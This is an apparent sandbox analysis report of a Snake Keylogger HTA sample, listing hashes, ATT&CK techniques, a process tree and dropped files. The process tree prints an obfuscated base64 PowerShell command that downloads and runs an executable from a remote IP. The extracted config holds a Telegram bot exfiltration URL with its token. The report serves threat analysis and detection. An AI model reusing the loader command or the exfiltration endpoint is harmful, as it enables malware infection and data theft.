snakekeylogger | 95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17-10-2024 02:00

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General

Target

95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305.hta
Size

129KB
MD5

03140c0995d8db21fe4fb2f030322615
SHA1

0199286b876a0d3e896b1830ff024555374e51f3
SHA256

95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305
SHA512

9f2682368cd24bf210edf0ec6d286d016a89b5fba4649fdd76d18bdc7f1cbc4dfb079079d074756dbfcf6377c1e34d6b59664df6ca7a8e6770af2fce704e09f9
SSDEEP

96:Eam780jLy6w80jLyrdUwSdffYJMK0jLyqx0jLyt0Aj5OtG80jLy987T:Ea280f7w80fCUpdWMK0fd0fX5A80fGCT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7913958792:AAFOhfKo5L7M50XG6odxxQQwJAeD3zGEuJU/sendMessage?chat_id=7004340450

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/1532-91-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	4560	PowERShELL.Exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4560	PowERShELL.Exe
1116	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
4080	taskhostw.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000b000000023b57-75.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4080 set thread context of 1532	4080	taskhostw.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PowERShELL.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4560	PowERShELL.Exe
4560	PowERShELL.Exe
1116	powershell.exe
1116	powershell.exe
1532	RegSvcs.exe
1532	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4080	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	PowERShELL.Exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1532	RegSvcs.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 4560	4360	mshta.exe	86
PID 4360 wrote to memory of 4560	4360	mshta.exe	86
PID 4360 wrote to memory of 4560	4360	mshta.exe	86
PID 4560 wrote to memory of 1116	4560	PowERShELL.Exe	89
PID 4560 wrote to memory of 1116	4560	PowERShELL.Exe	89
PID 4560 wrote to memory of 1116	4560	PowERShELL.Exe	89
PID 4560 wrote to memory of 1972	4560	PowERShELL.Exe	94
PID 4560 wrote to memory of 1972	4560	PowERShELL.Exe	94
PID 4560 wrote to memory of 1972	4560	PowERShELL.Exe	94
PID 1972 wrote to memory of 1232	1972	csc.exe	95
PID 1972 wrote to memory of 1232	1972	csc.exe	95
PID 1972 wrote to memory of 1232	1972	csc.exe	95
PID 4560 wrote to memory of 4080	4560	PowERShELL.Exe	98
PID 4560 wrote to memory of 4080	4560	PowERShELL.Exe	98
PID 4560 wrote to memory of 4080	4560	PowERShELL.Exe	98
PID 4080 wrote to memory of 1532	4080	taskhostw.exe	101
PID 4080 wrote to memory of 1532	4080	taskhostw.exe	101
PID 4080 wrote to memory of 1532	4080	taskhostw.exe	101
PID 4080 wrote to memory of 1532	4080	taskhostw.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\95e002035116146de7fdf04b59845552552c7527b8bb3893abaf3a51d5061305.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Windows\SysWOW64\WInDoWspOwERsHell\v1.0\PowERShELL.Exe
  "C:\Windows\SYStEM32\WInDoWspOwERsHell\v1.0\PowERShELL.Exe" "POwersHelL -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE ; Iex($(iEx('[sYStEM.TEXt.enCodInG]'+[cHaR]58+[chAr]0X3a+'UTf8.gETSTRInG([SYSTEm.COnVert]'+[ChaR]58+[ChAR]0X3A+'FroMbASE64strINg('+[ChAR]0X22+'JG44ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTWJlckRFZklOSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uZGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1tVkYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrd1pEdUhyU0osc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB6cUxySWYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWUN1bGdiLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmlmKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkp4dkVqQU9mV0RaIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzcGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ2V1USAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG44OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuMjUvMjgwL3Rhc2tob3N0dy5leGUiLCIkRW52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSdC1zTGVlUCgzKTtTVGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVx0YXNraG9zdHcuZXhlIg=='+[chAR]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex byPaSS -Nop -w 1 -c deViceCrEdeNtIAldepLoyMENt.exE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uifllqqw\uifllqqw.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1972
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EF6.tmp" "c:\Users\Admin\AppData\Local\Temp\uifllqqw\CSC72EEC09CF521406CBF2745579AED40B8.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1232
- - C:\Users\Admin\AppData\Roaming\taskhostw.exe
    "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:1532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowERShELL.Exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
195f20ddf74800dc1ab36cf626f71355

SHA1
442e0a5527b230f5f2423e41c58f2e49af582dcc

SHA256
b6ce067021b59ca37ca5569bf1179fbe08df8a209934b4143c958fc204a20c9e

SHA512
8c02d87d8262354c4e4e26417a1d564e7538e72f475387befde8eb725d59fd249c4af7a0cac051f6d1e5cbf040c4ebb343a98035a76822f79bc82505cec8f16d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6EF6.tmp

Filesize
1KB

MD5
65cf2eed8e08651d528e98d6b519a8bf

SHA1
b9d32d37e1f3b383e0602d9f4f3675f415d985eb

SHA256
6aeafc31b4c8e5d163ff36323a9ff9974486eba981a64b70f42f831d0e267321

SHA512
ea9c3a285b167be9a6fbc7f9862bcc7194dd8fe561300e1c5e918a17c19491d99fbab9d6d3b376661e9050e6f61fcb76e421f93657095c2bd10f60992d04a369

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ux0rbbsa.4yw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uifllqqw\uifllqqw.dll

Filesize
3KB

MD5
3ea0f75deaad16b2f825ad9890efaca8

SHA1
925b54b3eedbd4eef002fd20b91e7c3c83154e01

SHA256
56428d2913e40fc31822dfcea436499ad7c3d5978d7f12ca68fd603fecbad537

SHA512
77ed8967a971f8cb9d707f03e6a11cb4f2a728201bb389c25fbfb50d17347d7b00a4e3085334c97e0812ac82548a69311286a261969f79a08a9c65397143bd79

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
935KB

MD5
daaa8ac3995fb610eda2e52a639d191f

SHA1
2a26a631b79878c461248d5c03a33fb312aedb05

SHA256
e82aa9f8f95f53d306db35e28e6fdd4dd16eba7d7437971f929d3cf5470267b7

SHA512
808c18d514439aead5759bd3d1bfbfb1b31cfb6c03a147db8525aa8f7dec30fb4b73a12b4e4310f97b9917f6513594d917184434f49ff9a5ee1870c46ae75157

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uifllqqw\CSC72EEC09CF521406CBF2745579AED40B8.TMP

Filesize
652B

MD5
a7645d441bc28d6f28e96cecf720246d

SHA1
56eab18f32e495fa4c03ed55bf340731057b3989

SHA256
d279f16c915eda9782b91e72b57fd0f0aa8f8d4716e7df8defcbdfadc7206e0e

SHA512
7c07a1e8f7698d71784f9a595414bed1fbab4443dcc6f0b3ee0223868d3e3750f7236eeca95c365498253e6432ca8d693d9d14f5f63dde7c5fd62cc62441d8af

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uifllqqw\uifllqqw.0.cs

Filesize
474B

MD5
0e03065f874d09489b23d564815660e8

SHA1
005cc140f8d9ad68a7863aee4da445e466c98379

SHA256
9600c5f95e6b296008011163196ad864c684b50e172ea35f0ca140ce577c75f1

SHA512
a55b8c7d5656c0c854da908ecf6bcc64f9520b61ff21154aa548e01dbd69ffd762806c09b3ec331d94b23b6145b48e2e649ead07dab8d73a17bc2a6981800d10

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uifllqqw\uifllqqw.cmdline

Filesize
369B

MD5
5fe0eef9bf702cd187af36635b282f75

SHA1
22a6a95106ff5a7985ffd280b42ea68cce011a70

SHA256
8d4ba99b072d68568197f56ccf9ad865b90377b9d4178f5bbe6f44f006852574

SHA512
69680075aa866257a9fa32ab3671722ddb2743bed306f9b5c93f3f693b3b9c47e8a183d3d2635434a938b2999d61071b9ab86df9a79bd8e68ba27ff6fdfbffcf

Download Submit
memory/1116-40-0x0000000006D60000-0x0000000006D7E000-memory.dmp

Filesize
120KB

Download
memory/1116-48-0x0000000007D60000-0x0000000007D74000-memory.dmp

Filesize
80KB

Download
memory/1116-50-0x0000000007DA0000-0x0000000007DA8000-memory.dmp

Filesize
32KB

Download
memory/1116-29-0x0000000006D20000-0x0000000006D52000-memory.dmp

Filesize
200KB

Download
memory/1116-30-0x000000006DCB0000-0x000000006DCFC000-memory.dmp

Filesize
304KB

Download
memory/1116-49-0x0000000007E70000-0x0000000007E8A000-memory.dmp

Filesize
104KB

Download
memory/1116-41-0x0000000007A60000-0x0000000007B03000-memory.dmp

Filesize
652KB

Download
memory/1116-42-0x0000000008190000-0x000000000880A000-memory.dmp

Filesize
6.5MB

Download
memory/1116-43-0x0000000007B30000-0x0000000007B4A000-memory.dmp

Filesize
104KB

Download
memory/1116-44-0x0000000007B80000-0x0000000007B8A000-memory.dmp

Filesize
40KB

Download
memory/1116-45-0x0000000007DB0000-0x0000000007E46000-memory.dmp

Filesize
600KB

Download
memory/1116-46-0x0000000007D20000-0x0000000007D31000-memory.dmp

Filesize
68KB

Download
memory/1116-47-0x0000000007D50000-0x0000000007D5E000-memory.dmp

Filesize
56KB

Download
memory/1532-91-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1532-93-0x00000000069E0000-0x0000000006A30000-memory.dmp

Filesize
320KB

Download
memory/1532-92-0x00000000057F0000-0x000000000588C000-memory.dmp

Filesize
624KB

Download
memory/1532-94-0x0000000006C00000-0x0000000006DC2000-memory.dmp

Filesize
1.8MB

Download
memory/1532-95-0x0000000006AD0000-0x0000000006B62000-memory.dmp

Filesize
584KB

Download
memory/1532-96-0x0000000006A70000-0x0000000006A7A000-memory.dmp

Filesize
40KB

Download
memory/4560-18-0x0000000006320000-0x000000000633E000-memory.dmp

Filesize
120KB

Download
memory/4560-0-0x00000000713FE000-0x00000000713FF000-memory.dmp

Filesize
4KB

Download
memory/4560-65-0x00000000068D0000-0x00000000068D8000-memory.dmp

Filesize
32KB

Download
memory/4560-71-0x00000000713FE000-0x00000000713FF000-memory.dmp

Filesize
4KB

Download
memory/4560-72-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/4560-73-0x00000000076F0000-0x0000000007712000-memory.dmp

Filesize
136KB

Download
memory/4560-74-0x00000000087F0000-0x0000000008D94000-memory.dmp

Filesize
5.6MB

Download
memory/4560-19-0x0000000006350000-0x000000000639C000-memory.dmp

Filesize
304KB

Download
memory/4560-13-0x0000000005CE0000-0x0000000006034000-memory.dmp

Filesize
3.3MB

Download
memory/4560-7-0x0000000005B00000-0x0000000005B66000-memory.dmp

Filesize
408KB

Download
memory/4560-88-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/4560-6-0x0000000005A90000-0x0000000005AF6000-memory.dmp

Filesize
408KB

Download
memory/4560-5-0x0000000005360000-0x0000000005382000-memory.dmp

Filesize
136KB

Download
memory/4560-4-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/4560-3-0x0000000005460000-0x0000000005A88000-memory.dmp

Filesize
6.2MB

Download
memory/4560-2-0x00000000713F0000-0x0000000071BA0000-memory.dmp

Filesize
7.7MB

Download
memory/4560-1-0x0000000004D70000-0x0000000004DA6000-memory.dmp

Filesize
216KB

Download